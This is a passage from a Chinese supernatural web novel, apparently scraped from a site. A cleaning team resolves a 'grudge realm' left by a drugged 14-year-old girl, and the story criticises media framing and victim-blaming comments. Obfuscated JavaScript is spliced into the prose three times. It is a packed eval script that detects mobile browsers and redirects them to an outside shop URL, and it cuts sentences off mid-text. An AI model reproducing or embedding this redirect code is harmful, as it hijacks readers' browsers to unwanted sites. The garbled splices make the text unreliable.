它们有没有可能,是已经被这个怨境吞噬过的人,是被困在这里的人的一部分。 怪不得这些嘴和手长在他们身上都那么的令人恶心,真正原因是它们不是被模拟出来的,它们真的曾经是活人的一部分。 姜栩的思路渐渐清晰:“掩护我!” 与此同时她已经重新振作,窜了出去。 季容马上跟上,两个人继续打配合,这一次要比上一次更加游刃有余,姜栩重进厨房,将剩下的刀具插在自己的靴子里,左手不能用,她就用右手握着一把菜刀,转身冲往客厅。 姜栩和季容在进化,这些蟾蜍也在进化。 它们似乎摸清了对面两人的打法,所以居然能够预判季容下一步的落点。 眼看季容已经要招架不住,姜栩冲过来,她臂力大,抡着一把菜刀神挡杀神,佛挡杀佛,这次她才不会往蟾蜍的皮肤上砍。 反正死不了,白费力气,她专往□□身上的嘴和胳膊上下手。 一刀一个,一张张嘴,一条条胳膊被姜栩砍下来,轻飘飘落入积水中。 那些嘴已经脱离了身体,但好像还有生命一样,发出尖锐痛苦的惨叫。 积水中等待已久的小蝌蚪们瞬间蜂拥而上,在它们的唇齿间拥挤,终于撬开了柔软的唇瓣,找到了温暖湿润的巢穴所在。 那些嘴终于不再发出声音了,沉入水底,被密密麻麻的蝌蚪覆盖。 姜栩一刀砍下记者的嘴,他裂开的嘴发出一声尖锐的惨叫,从蟾蜍的皮肤上脱落,掉进了积水里。 一张纸片从嘴里飘出来。 姜栩眼疾手快,在纸片落入积水之前一把捞住。 头顶门楣上的六角灯笼忽然跳动了一下,绿油油的火光重新亮起,稳定地燃烧着,不再闪烁。 窗外的雨声从密集的噼啪声变成淅淅沥沥的残响,最后归于寂静,黑暗逐渐褪去。 姜栩抬头环顾四周,四只蟾蜍不见了踪影,战斗暂时告一段路安。 姜栩赶紧转身和季容一起冲向衣柜,一把开来柜门,眼前的景象让两个人动作都顿了一下。 林知远和周小满的身体状况非常糟糕,且越来越糟糕。 林知远靠在衣柜内壁上,被□□舌头缠过的那条腿已经完全看不出腿的形状了。 从膝盖往下,整条小腿变成了一条粗大的尾巴状,黑色的工服被撑得变了形,能够想象出软塌塌的肉感。 周小满更糟。她的脖子已经完全失去了骨骼的支撑,脑袋以不正常的角度耷拉在胸前,下巴抵着锁骨,整个后颈软得像一团被揉烂了的面团。 他们俩已经近乎是一只大蝌蚪了,周小满已经彻底不会说话,而林知远嘴张得大大的,涎水流在嘴角,模模糊糊还能说出来几个字。 “他们异变了。”季容的声音有一点慌乱。 “什么叫异变。” “怨境是人的怨恨和恐惧所化,是对现实社会的一种映射,比如我们见到的四只蟾蜍,那么在怨境主人的现实生活中,一定也有这样的四个人或者是四个东西,让她产生了类似的联想和恐惧。” “我们现在在她的怨境中,会慢慢被同化,如果短时间内我们出不去的话,那么他们俩会彻底变成大蝌蚪。” “这样啊,”姜栩明白了,“那我们可能也会变成两只小蝌蚪,到时候大家就可以一起手拉着手去找妈妈。” 季容觉得姜栩这个人的心理真是强大得可怕,这种情况下还能够如此轻松地面对。 因为她也看到了姜栩手腕在一点点垂下去,她在一点点失去对自己身体的掌控能力。 看林知远和周小满,就知道自己的未来,换了旁人恐怕已经被恐惧填满,但她翻翻找找,好似浑不在意。 季容的情况比三个人都好一些。 她几乎没有被蟾蜍的舌头直接碰到过,身上只有几处被脓水溅到的位置工服上有腐蚀的痕迹,但皮肤本身没有出现软化。 她检查了两人的情况之后,从装备箱里翻出两管针剂,一人一针扎在腿上。 周小满和林知远的身体软化似乎暂时没有再扩散,但也看不出恢复的迹象。 “药只是暂时的。”季容的声音依旧沉稳,但多了一丝紧迫感,“我们得抓紧时间。在怨境彻底把他们同化之前找到源头。” 姜栩用右手把左手的工服袖口扎紧,把手腕固定在一个不会乱晃的位置,然后拿出了刚才从那张嘴里掉出来的纸片。 是一张说明书。 纸片在嘴里含着时间久了,几乎被口水泡烂了,但上面的字迹还能辨认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587142|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 跟所有的说明书一样,小小的纸片上密密麻麻地罗列着成分、用法、副作用。 纸张的上半部分被撕掉了,看不到药品的名称,但下半部分的“注意事项”和“不良反应”保留得相对完整。 姜栩读了几行,眉头越皱越紧。 “这是什么药?” 姜栩把说明书递给季容。季容扫了一眼,没有立刻说话。 靠在衣柜里的林知远咳嗽一声,努力伸着脖子:“我之前是学医的,来,我看看。” 姜栩把纸凑到他眼前。 他咳了好几声之后,声音虚弱地说:“是滴滴水。” 三个人同时看向他。 “这个是一种情趣类药物。就是……那种……助兴用的。但是副作用特别大,服用过量会致死。我以前在新闻上看到过,有人用这个害过人。” 姜栩把说明书翻过来,背面还有半页残缺的文字,是药品的适应症和剂量说明。 “那看来那女子服用的过量药物就是这个了。” 姜栩摇摇头:“我不这么觉得。” 她站起身来,快步走到电视机跟前。 黑暗褪去后电视机正常工作,正在播动画片。 从进入这个怨境开始,电视节目一直作为背景噪音存在,但是他们从来没有认真看过画面。 姜栩找到遥控器,按了回放。 电视画面闪了一下,然后开始倒退。动画片的画面倒回去,停在了一条报道的开头。 姜栩第一次认真地看这条新闻的画面。 “……本台消息,昨日晚间,一名男童在红鼎轩火锅城用餐时,跳上餐桌向火锅内小便,其家长拒绝赔偿并辱骂店家,称‘孩子还小不懂事’,目前店家已报警处理……” 姜栩又按回放,然后暂停,指着屏幕:“这叫男童?” 季容凑过去看,只看见一个身形高挑的男子站在火锅店的桌子上,正往锅里撒尿。 为了保护隐私,电视台打了码,决计是看不到脸的,然而看身形,起码是个十七八岁的青年了。 但是新闻播报播的是男童,所以人们理所当然觉得就是男童。 就连他们小队,就连姜栩也没觉得有什么不对。 人每天要接收大量的信息,很难一一去质疑,有些存在问题的言论就会如同船底的藤壶一样潜滋暗长,等你发现的时候,它已成气候,去除也难。 “你看,这个十七岁的男子被称为男童,那有没有可能,我们要找的女子,其实也不是女子,而是女孩?” 姜栩抖了抖手里那张纸。 “那如果是女孩的话,她是不是过量服用都难说,搞不好是被人下药的啊。” 林奕含曾经提出过两个叩问。 会不会,艺术是有巧言令色的成分。 会不会,艺术从来就只是巧言令色而已。 文字是巧言令色的工具,谁掌握了它,谁就能决定你是个罪有应得的成年人,还是个不懂事的孩子。 文字从来是文明和历史的传承。 被文字背叛,多么痛苦。 姜栩身后响起一个凉凉的声音:“啊,被你猜对了。” 9. 【36栋304】变幻的脸 小女孩光脚踩在冰凉的地板上,歪着头看着几人。 她背对着窗户,身上的白色睡衣在幽暗的绿色光影中也同样变成了诡异的绿色。此时她歪着头,双眼漆黑,好像只有黑眼仁而不见眼白,完全没有了此前怯懦的痕迹。 她活时身不由己,在怨境中,她就是最大的主宰。 小女孩黑洞洞的眼睛盯着虚空的方向,姜栩不知道她是不是在看着自己,虽然那双眼睛没有神采,可是姜栩好像能看到她眼中巨大的悲伤,那种悲伤像是波浪一样,几乎要将人淹没。 姜栩这么想着,忽然感觉到脚腕湿湿的,凉凉的,她一动,脚下的积水声从啪嗒啪嗒变成了哗啦哗啦,低头一看,原本坑坑洼洼的浅浅的积水,如今已经没过脚腕。 姜栩盯着脚下看了看,黑漆漆的水好像在动,又好像一动不动。 “队长,这个水面是不是在上涨,队长!” 姜栩一回头,迎面对上一张丑陋的男人的脸,她一秒钟进入战斗状态,抡起菜刀直劈对方面门。 刀刃破空,发出尖锐的呼啸。 然而刀锋就要欺到对方脸上时,他却忽然抬手格挡。 这人力气颇大,将刀往一旁顺下去,却并未伤害姜栩。 姜栩扑了个空,正欲卷土重来,忽然听见一个熟悉的声音:“是我。” 眼前的男人忽然又变回了队长戴着面罩的脸。 姜栩硬生生收住了力道:“怎么回事?” 小女孩脆生生笑了一声,在绿色幽暗的灯光下,如一摊水融化在大海里一样,化成了一滩透明的液体,融进了脚下的积水中。 “看来怨境已经要开始它最后的攻击了,”季容说,“她已经和怨境融为一体,当我们找到她的时候,她就要集中力量对我们最后一击了。破局没那么容易。” “这小女孩难道不是无辜的吗?她本来也不是坏人,为什么……” 为什么会拥有一个如此邪恶的怨境呢? “怨境有智商,但是没有情感,你可以理解为,这是她的执念所化,并不是真正的她。” 水涨得很快,这么一会儿,已经涨到了膝盖位置,再上涨的话,就要从衣柜的边缘漫进去了。 整个空间只有床,会稍微高一点,虽然被褥已经吸满了水,一按就往外渗,但至少比泡在水里强。 季容和姜栩费力地把队友从马上就要淹没的衣柜里拖出来,弄到床上去。 周小满完全说不出话来,林知远伤在腿上,所以还能含糊不清地说几句。 “队长……你们……你们别管我们了……先想办法出去吧……” 他忽然一歪头,嗓子不断地呵呵抽气。 姜栩回头看,身后的阴影处出现了很多人影。 他们高矮胖瘦不同,因为光线的原因,只有一个黑漆漆的模糊的轮廓,重重叠叠,好像从水里长出来一样,一个一个直立在水中。 他们慢慢逼近,面部轮廓也在引魂灯的照耀下清晰起来,闪烁着诡异的绿光。 人很多,男女老少都有,有的脸皮肤皱褶像一颗核桃,很清晰的一张老太太的脸,然而这张脸居然长在一个非常魁梧的身体上。 旁边又是一个彪形大汉的脸,满脸的络腮胡,目露凶光,然而身体却是一个背着书包穿着校服的小孩子。 过了一会儿,这张小孩子的脸又转移到了一个穿着性感红裙的身体上。 人影相互交错,彼此的脸在交错的一瞬间变成了另一张脸,仿佛所有人的面孔都被打碎了重新拼接在一起,不停地闪烁、切换、互换。 所有面孔都在流动,像一面面变形的镜子,把每个人照成另一个人的模样。 林知远和周小满的身体闪了一下,立刻幻化成其他人的脸,又幻化成原来的样子。 林知远和周小满因为戴着面罩,所以并不能很清楚地看到面容,不过季容和他们搭档已久,可以从细节进行快速判断,姜栩对他们尚且不熟悉,只试探着朝着戴面具的影子喊了一句:“小满?” 戴着面具的脸抬了一下,发出了傲慢的笑声:“不是哦~” 声音有力清晰,用这么一个诡异的姿势发声那真是加倍诡异,她真的不是周小满。 周小满哪去了?! 姜栩和季容慌忙扭脸四处看,却见一个人窝在墙角,变成了周小满的样子,在脏水中痛苦地扭动着。 那床上的林知远,应该也不是林知远了。 姜栩刚想到这个问题,就看到床上的“林知远”面具朝着自己的方向,好像已经打量她很久了。 林知远的双腿彻底融化成了蝌蚪尾巴,所以“他”也是这样子,双腿不能动,“林知远”忽然用双手撑起身体,像一只科莫多巨蜥一样贴着水面朝姜栩手舞足蹈地冲过来。 姜栩飞速后腿,水面已经上涨到大腿中间的位置,后腿的时候能感觉到非常强大的阻力,以及水中的小蝌蚪撞在腿上那种密密麻麻的感觉。 水花四射。 水花落下,就看到“林知远”冲破水花欺面而来,长长的肉尾巴在身后滑动加速,姜栩一把捏住“林知远”的脖子,将他抵到墙上。 “林知远”的尾巴飞快抖动起来,仿佛求饶,姜栩杀红了眼睛,并不松手,“林知远”在她手中痛苦地扭动身子,季容连忙按压住姜栩的肩膀。 “松手,快松手!” 姜栩感到热血褪去,眼神渐渐清明,才发现手底下的是真正的林知远,他已几乎被她掐得喘不过气来。 每个怨境,都遵循主人的本心,具有一定的运行逻辑。 小女孩被强行冠上“女子”的称呼混淆视听,青年男子用“男孩”的名头规避问责,既然如此那么,是不是说明谁是谁根本就不重要。 我可以是你,你可以是我,就让这天下彻底乱套好了。 姜栩满怀愧疚地松手,在这个怨境里,她分不清谁是队友,谁是幻象。 她甚至分不清站在自己身边的季容,到底还是不是季容。 姜栩后退了一步。 她的后背撞上了湿漉漉的墙壁,冰凉的水渍渗透了工服,贴着皮肤传来刺骨的寒意。 那些从客厅涌入的人影已经越来越近了。 他们的面孔像坏掉的电视屏幕一样不停地闪烁着,每一张脸都不是自己的脸,每一张脸都可能是他们中的任何一个人。 “这怨境的目的就是让我们自相残杀。它会用幻象让你以为看到了敌人,然后用最亲近的面孔让你放松警惕。你分不清谁是队友谁是幻象,最稳妥的选择就是攻击所有人,但那正是它想要的结果。” 那些人影越走越进,姜栩已经确定自己出现了幻觉,因为她发现人群中有一张顾怀彰的脸。 这说明这个幻境不光会模仿它见过的,它没见过的也可以,它就是人心里的映射。 顾怀彰还在家里等着自己回去,姜栩临走的时候说,等她把租房补贴申请下来,就带她一起搬到更靠近市中心一点的地段去。 顾怀彰还等着她呢。 顾怀彰笑起来的时候眼睛亮晶晶的,为了她找到工作而高兴,那张漂亮的脸一闪而过,变成了一个陌生的秃头男人的脸。 姜栩愤怒了。 周小满忽然发出一声痛苦的呜咽。 姜栩去看她时,看见她在工作服里痛苦地挣扎着,胸腔剧烈地一起一伏。 也是,她最先融化的是脖子,已经保持后脑勺贴着后背的姿势很长时间,现下可能会呼吸困难。 姜栩正想过去帮忙,却见周小满挣扎几下,忽然拔掉了脸上的面罩,露出素净的一张脸。 紧接着,周小满深吸一口气,好像终于呼吸顺畅了一下,她转身看着姜栩。 必须要转身,因为她后脑勺贴着后背。 正着看是看不到的,她必须转身,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587143|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着姜栩,然后那张脸就从下往上看姜栩,嘴角的笑容非常诡异。 姜栩强忍住攻击的举动,她猜测这是幻境对她的蒙骗。 果然,见姜栩迟迟没有动静,那笑容仿佛很失望似的落下去了,周小满又变回周小满,瘫倒在床上,痛苦地挣扎着。 再一转头,季容也不见了。 姜栩知道并不是不见了,而是季容已经淹没在人海,幻境抹去了她的脸,换上了另一个人的面容,说不定别人看姜栩,看到的也不一定是姜栩的脸。 姜栩警惕地看着左右,如果不是她反应快,绝对会被“季容”偷袭到。 她的余光就瞥见一个黑影豹子一样朝自己飞过来,快得几乎只能看见残影,一眨眼的功夫,那张戴着面罩的脸已经闪现到眼前,另一只手牢牢牵制住姜栩的脖子。 姜栩一把掰开她的手腕,险些掰断她的骨头,面罩地下传出痛苦的闷哼声,确实是姜栩的声音。 原来不是怨境化作季容的脸,而是季容把姜栩看成了别人。 姜栩认不出队友,队友同样也认不出自己。 “队长!” “队长!” 姜栩一连喊了两声,季容恍若未闻,频频发起攻击,姜栩虽然力气大,但是速度没有季容快,加上季容身上的防护服沾了水,湿漉漉地滑不留手,姜栩有再大的力气也抓不住她。 “队长,是我!” 季容毫不留情:“打的就是你!” 季容到底也是队长,格斗也不逊色,何况天下武功唯快不破,姜栩连接被锤好几下,忍不住恼怒。 但她清楚对方是谁,总不能下死手,只能觑了个空子,揽住季容的脖子,双腿向上盘住她的腰,用蛮力将她压到水里,牢牢牵制住。 “是我!队长!是我!” 季容在疼痛中终于清醒过来:“是你,我方才看见的是……” “我知道。”姜栩把季容拉起来,抖抖身上的水和蝌蚪,张望了一下飞速上涨的水位线。 “小满和小林都站不起来,这么耗下去,要么咱俩互相攻击而死,要么就被水淹死。” 季容冷静下来,姜栩是新人,自然什么都不知道。 她是队长,不能看着队友死在自己前面,至于死在自己手里,那更不行了。 “怨境和人一样,都是有逻辑的,也是有弱点的。我们一般找到怨境运行的规律,就可以致胜。” 知己知彼百战不殆,怨境的危险级别高是因为大家搞不清楚它的运行逻辑,命只有一条,死一次未必能摸清所有的关窍,摸清楚关键点往往需要牺牲很多人去探路。 姜栩深呼吸,让自己冷静下来。 恍惚中她又回到了当年在孤儿院的时候,在无数个被惩罚的深夜里,她面对着墙壁,深呼吸,深呼吸。 静静感受时间的流动。 只有自己知道自己到底是谁。 只有自己知道自己是谁。 只有自己知道。 姜栩感到头脑中一阵嗡鸣。 不能看,已经不能通过看脸判断到底是谁。 也不能听。 信息过多,我听到的,我看到的,都不是真实的,只有跟着我的心走。 姜栩闭上眼睛,但很快就睁开了。 人在恐惧之下很难保证主动闭上眼睛,总会不自觉睁开。 姜栩一把撕开湿透的床单,扯下常常一条不料,三下五除二缠在自己的眼睛上。 她瞬间陷入一片荒寂的黑暗当中。 眼睛看不见,身体的其他感知反而会被放大。 可是她的耳朵里还能传来各种嘈杂的声音,一会儿是季容的声音,一会儿是周小满和林知远的挣扎。 姜栩又撕下两块布条,揉成两个小球堵在耳朵里。 这下好了。 姜栩陷入了又盲又聋的境地,一切外在的干扰都消失了。 10. 【36栋304】灯芯 姜栩闭上眼睛。 世界安静了下来。 安静得只剩下她自己的心跳声,咚咚,咚咚,一下一下,越来越慢,越来越稳。 她的眼睛已经被蒙住了,想睁也睁不开。 她感觉到积水的冰凉漫过了膝盖,漫过了大腿,水压从四面八方包裹着她的身体,像一只冰凉的大手在缓缓收紧。 水在缓缓流动。 按理来说,这个房间是一个封闭的空间,但是她能够感觉水在流动,冲刷着她的身体。 在此之前,她并没有这种感觉。 水的流速越来越大,小蝌蚪们拼命甩动着尾巴想要抵抗旋涡的力量,但最终只是徒劳。 它们被水流裹挟着,撞在姜栩的腿上。 房间里有风在流动。 房间里本来没有风,窗帘纹丝不动,空气凝固得像一块琥珀。 但当有人从她身边经过的时候,会带起极其微弱的气流,拂过她裸露的脖颈和手腕,像是有人用一根羽毛轻轻扫过她的皮肤。 这些都是她的眼睛和耳朵告诉不了她的东西。 只有心能告诉她。 她在自己的心中看见房间的结构,它们在她心中清晰得好像3D立体图,黑色的背景,白色的线条结构,甚至可以上下左右来回转动。 她还能清晰地看见水的流动,水在结构图中不过是一片黑色的阴影,打着旋涡,往其中一个方向流去。 姜栩跟着水流往前走。 她也不知道自己走到了哪里。 她能感觉这个空间好像正在变大,卧室本来只有巴掌大的地方,但是她走了好几步,竟然还没有碰到墙壁。 水越来越深,已经漫过了她的腰,正在往胸口的方向涨。 水的浮力开始托起她的身体,让她的每一步都变得有些飘忽。 姜栩全然不顾,一步一步稳稳地踩实了,再往前走,她并不着急。 脚底的触感告诉她她还在卧室的地砖上,没有踩到什么奇怪的东西。 当她似乎来到客厅的时候,看见一个白色的影子,站在积水中。 姜栩本来以为,怨境,听这个名字,就非常的邪恶。 那如果怨境的主人现身,想必是庞大的,恐怖的,肮脏的,和整个环境一样肮脏。 但那个影子雪白泛着柔光,看起来好像天使一样,她静静地站在水面上,如同一朵盛开的白莲花。 女孩身后是一张桌子,季容推过来卡住蟾蜍的那张桌子。 她死在这张桌子旁,弥留之际她想留一点线索,于是把带着标签的药瓶粘在桌子的下面。 她本来以为,如果人们知道,她因什么而死,就能为她报仇,把坏人绳之以法,给自己讨个公道。 没想到新闻标题会变成《女子饮用过量药物导致身亡》。 她,从受害者,变□□了! 她只有十四岁,在还不能完美解释“荒诞”这个词组意思的年纪被一种巨大的荒诞感笼罩全身。 姜栩最开始看见的小女孩只是一个白色的发光的影子,随着姜栩慢慢走近,小女孩的面容一点点显现出来,眉眼乖巧,看起来人畜无害。 怨境就是这样。 当你找不到关窍的时候,它危机四伏。 而你一旦找到它的开关,它只能束手就擒。 就像你非常熟悉一个人的软肋,你总能把它一击毙命。 不过,季容说过,怨境的危险程度与怨境主人自身的念力有关,倘若主人念力强大,信念坚定,那么即便是找到了真相,也没那么容易解决。 姜栩挺唏嘘的。 她走过去,试图和小女孩沟通:“我……我是来度化你的。” 姜栩想了一下公司的职能,用了度化这个词,说完之后她感觉自己好像成了一个骗小孩的秃头老和尚。 “我知道你心有怨恨,这件事是他们对不住你,我回去后,会把事实的真相告诉大家,为你洗刷冤屈,你看可好?” 但小女孩不吃这一套。 她操控幻影,对姜栩发动攻击。 姜栩在黑暗中穿梭,一刀一个小朋友,作快得像是完全不需要思考。 在能看见对方是谁的时候,她无敌。 季容看到的就是这样的景象。 姜栩眼睛上缠着布条,耳朵里塞着布团,整个人站在齐腰深的积水里,像一台精密运转的机器一样在幻象群中穿梭。 她的每一刀都落在一个幻象身上,每一个闪避都恰到好处地躲开了一次攻击,好像她什么都看不见,却又什么都能看见。 季容深吸一口气,学着姜栩样子,用布条蒙住眼睛,堵住耳朵。 水已经漫过了胸口,正在往锁骨的方向涨,水温很低。 姜栩感觉到自己并不是孤军奋战,季容加入了进来。 姜栩搅动的水波会和季容搅动的水波碰撞、交叠、融合,在水面上织成一张看不见的网。 她们能通过这张网感知到对方的位置、对方的动作、对方正在攻击的方向。 没有任何语言交流,她们打出了一场完美的配合。 姜栩负责清场,她一刀一个地解决掉靠近的幻象,把那些不断涌来的人影一层一层地削薄。 季容则在姜栩清出的空隙中快速穿插,她的速度快得惊人,脚步轻盈得几乎不掀起任何水波,像一条在水中潜行的梭鱼,悄无声息地越过一道又一道幻象的防线。 两个人在完美配合下迅速逼近小女孩,季容快速从装备箱里掏出一盏和引魂灯一模一样的六角灯,只是没有灯芯。 季容把灯打开,小女孩好像瞬间失去了所有反抗的能力,她开始融化,慢慢蜷缩,最终化作一缕青烟,于此同时,小女孩生前的画面也一幅幅展现在众人眼前。 像是有人在水幕上放电影,光影流动,映在斑驳的墙壁上。 画面中的小女孩是还活着时候的模样,一个平凡普通的人,和这世上的芸芸众生没什么两样。 她看起来比怨境里那个白色睡衣的形象更小、更瘦,像一只还没长开就被人从枝头折下来的花骨朵。 沈蕴华,多么好听的名字。 酒吧的老板念她身份证上的名字,狐疑地打量她两眼,语气很不客气:“说好了,你未成年人,只能说是我侄女,工资只能拿到一半。” “一半也行。” 沈蕴华家境不好,她偷偷出来打工赚钱,但是正规一点的地方都要成年人,她一看就是个未成年,除了这家酒吧,没人愿意要她。 这好像是一个约定俗成的想法,即一个女孩子只要出现在酒吧这种场所,那她一定不是个好女孩子,那我们就可以对她上下其手并言语羞辱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587144|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈蕴华甜脆小萝卜一样的面容吸引了四个男人,他们盯着她看的目光非常贪婪,眼珠子都要掉出来了,好像眼睛鼓胀的蟾蜍。 他们策划了一场完美无瑕的□□。 在她的水杯里放了药。 一滴药落在水里,水面被搅得粉碎,整个画面也随之变成了模糊晃动的支离破碎的碎片。 沈蕴华的瞳孔渐渐失去了焦距,四个男人惊慌失措四散奔逃。 这件事当然很轰动,记者写下了报道。 《女子服用过量药物致身亡》。 网络上的信息铺天盖地难辨真假,评论一条新闻也变得比以前更加容易,无数人可以坐在小小的屏幕前对大千世界指点江山。 那篇报道把沈蕴华从一个受害者变成了人们茶余饭后的谈资。 【现在的年轻人真是不检点,玩得这么开,命都玩没了】 【就是说啊,听说还是在酒吧里的,可见生性浪荡啦,死了都活该啦】 一张张捕风捉影的嘴,一双双推动罪恶的手,同那些蟾蜍一样令人恶心。 画面慢慢变淡了,像是用久了的电影胶片,色彩一层一层地褪去,最后归于透明。 一缕青烟在灯中熄灭,沈蕴华变成了引魂灯的灯芯。 一切都结束了。 姜栩听见了外界的声音。 窗外有风声略过,窗帘簌簌作响,叽叽喳喳的鸟叫声蔓延而来,汽笛声此起彼伏,她还听见楼下那个捡垃圾的大娘的声音,她估摸是捡垃圾回来了并且收获不丰,很大声地在那里骂人。 姜栩摘下蒙着眼睛的布条。 季容同她并肩而立,身后周小满和林知远瘫坐在角落里,已经恢复了本来的样子,林知远的腿恢复了人的样子,周小满的脖子也恢复了支撑力,在确定怨境消散后,两人摘下自己的面罩。 周小满自己用手扶着后脑勺,龇牙咧嘴地晃了两下,确认颈椎还能正常转动。 她的脖子后面青了一大片,从后脑勺一直蔓延到肩膀的位置,皮肤下面隐约能看见细小的血管破裂之后留下的暗红色斑点。 林知远的脚踝更惨,他坐在地上,把裤腿卷到了膝盖以上。姜栩看见他的脚踝那一圈已经完全变成了紫色,蟾蜍的力气还挺大的,差点把他骨头勒断。 “还行,”林知远咬着牙说,“没断,就是有点疼。” 房间里一团糟,到处都是积水和垃圾,但是阳光从窗户照进来,光线明亮而温暖,把角落里残余的阴影都驱散了。 就是一个普普通通太久没人住过的旧房间而已,依稀能够看见原主人生活的痕迹,只是整个房间都落了灰。 “成功了!”周小满高兴地咧开嘴,“我们也太厉害了吧,我们居然没死诶!” 姜栩这才知道在怨境中死亡率非常高,难怪工资也那么高。 周小满尖叫完了之后第一个扑向姜栩,两条胳膊搂住姜栩的脖子,整个人挂在她身上,像一只兴奋过度的树袋熊。 “姜栩!你是大英雄!你是我的神!你太牛了你知道吗!你蒙着眼睛打幻象的时候简直帅炸了!我虽然动不了但是我的心是和你在一起的你知道吗!唰唰唰!一刀一个!你是战神!” 姜栩被她勒得喘不过气来,拍着她的后背说:“行了行了,你先松手,你脖子还青着呢,别这么激动——” 11. 内心的迟疑 周小满松开姜栩,转头给了季容一个大大的拥抱。 “队长,你不知道你刚才有多帅!你们俩配合得简直珠联璧合,呜呜呜我还以为我要死了呢……” 周小满假装挤出几滴眼泪来。 这可不能怪她虚伪。 当时情况万分凶险,她真的以为自己会死在这里来着。 说来也很奇怪。 她跟着队长也出过几次任务。 这次任务的评级并不算高,甚至最终大BOSS的战斗力也并不是很强,甚至在找到其中关窍之后会变得很简单。 可就是这个关窍,当真难找,要蒙住眼睛才行。 一般情况下,人在恐惧的时候,都恨不得睁大眼睛,调动全身的汗毛感知外界的一切,不会有人敢主动放弃一大部分感知,不听不看的。 林知远在旁边默默坐着,耳朵红红的,周小满也毫不吝啬地给了他一个大大的拥抱:“咱俩也挺棒,又活过了一天!” 林知远用力地“嗯”了一声,回抱周小满:“又活过了一天!” 一个队伍里还是要有像是周小满这样的人,像一滴水掉进油锅,给整个队伍带来了生机和活力。 季容拍拍手:“行了,咱们还得有正经活要干呢。” 按照公司规定,在怨境消散之后,负责清洁的小队需要对现场进行一次彻底的物理清扫,清除所有怨境残留的痕迹,然后点燃引魂灯净化残余的怨气,确保这套房子可以安全地交还给房东或者下一任住户使用。 这就简单多了,不过是正常的打扫卫生。 四个人分工明确,掏出清洁工具热火朝天干起来。 这回的气氛就大不相同,姜栩整个人都轻松了很多,她一边扫积水一边听周小满快乐地哼歌,思绪却跑到了十万八千里之外。 季容察觉出她的分心,借着擦台面靠到她身边来,手上的活计不停:“想什么呢?闷闷不乐的,这一回任务出完,我们起码收入五到十万。” “我们队伍级别不高,基本接不到这次任务,大部分都是普通任务,至于AB级的任务那就更少了,就算接到了按照队伍的平均素质,也不一定能顺利通过,这次要多亏你。” 姜栩听了季容的夸奖也没谦虚,本来她就出力不少,瞬间骄傲得像一只小猫高高翘起尾巴那样扬起下巴,眯着眼睛朝季容一笑。 季容的脸隐没在面罩后面。 她们今天第一次见面,刚刚还并肩作战过,季容甚至在战斗中救了自己的命。 姜栩感觉自己对她的提防瞬间有些龌龊,但工作是工作,私人是私人,姜栩不太喜欢把工作带到私人感情中,也不喜欢把私人感情带到工作中。 所以她把自己内心的疑虑压下去,摇摇头:“没什么,刚才还在算能赚多少钱呢,等拿到工资,就可以带我朋友来离公司近点的地方租个大点的房子,再也不用挤一室一厅了。” 刚毕业的年轻人挤在一室一厅或者地下室里是常态,闻言季容感慨:“那太好了,别忘了跟公司申请住房补贴,该拿到的利益一定要拿。” 姜栩点点头:“咱们公司还招人吗?” “招啊,我们这行流动性很大的,怎么,你想推荐你的朋友过来?” 被季容猜中了小心思,姜栩不好意思地笑笑:“是呀,我朋友也一直没找到工作,要是缺人,我就推荐她来做。” “那当然好了,我们队伍是有内推名额的,到时候你把你朋友的简历给我,只要她通过考核,就可以加入啦。” “考核?”姜栩有点蒙,这个问题她必须得问,因为她进来的时候并没有考核,面试官只是流程性地问了几个问题就算她过了。 难道是她缺了什么流程? “你没有考核?”季容看向她。 姜栩很诚实地摇头:“没。” 季容这回语气特别诚恳:“那想必是你简历上有什么过人之处了,又或者……” 季容思考了一下:“也许是上面看中你这个人也说不定呢。” 太阳一寸一寸地往下沉。 阳光从客厅的大窗户斜斜地照进来,一开始铺满了整个客厅的地面,后来慢慢往后退,最后变成一条窄窄的金线,贴在墙角的位置。 等这条金线也消失了,窗外的天色从湛蓝变成了浅橘,又变成了深紫,路灯亮起来了。 整个房间被收拾得一尘不染,挂在门梁下的引魂灯安安静静地闪烁着金黄色的小火苗,温暖的光芒填满了房间的每一个角落,把残余的最后一丝阴冷驱散殆尽。 季容看了看时间:“收工。” 他们从304出来,锁好门,把钥匙还给等在楼下的社区工作人员。 对方是一个戴着红袖章的大姐,接了钥匙之后一脸紧张地问:“里面……干净了?” “干净了。”季容说。 “不会再有……那个了吧?” “不会了。” 大姐长出了一口气,拍着胸口说太好了太好了,整栋楼都传遍了,说这屋子闹鬼,吓得好几户邻居都打算搬家。 然后她像是想起来什么,压低声音问:“那,那个姑娘……真的是被人害死的?” 季容沉默了一瞬:“是。” 大姐啧了一声,红色的嘴唇一张一合:“就是说呢,那么小的孩子,哎呀,真造孽,那四个也忒不是东西!” 